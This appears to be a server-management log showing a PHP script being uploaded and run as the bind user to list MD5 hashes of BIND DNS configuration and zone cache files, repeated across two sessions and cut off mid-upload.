MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:23:37: Establishing a connection
2026-04-30 17:23:37: 

PUT: /tmp/pkp265423

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:23:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp265423; rm /tmp/pkp265423'

2026-04-30 17:23:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:23:58: Establishing a connection
2026-04-30 17:23:59: 

PUT: /tmp/pkp891764

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
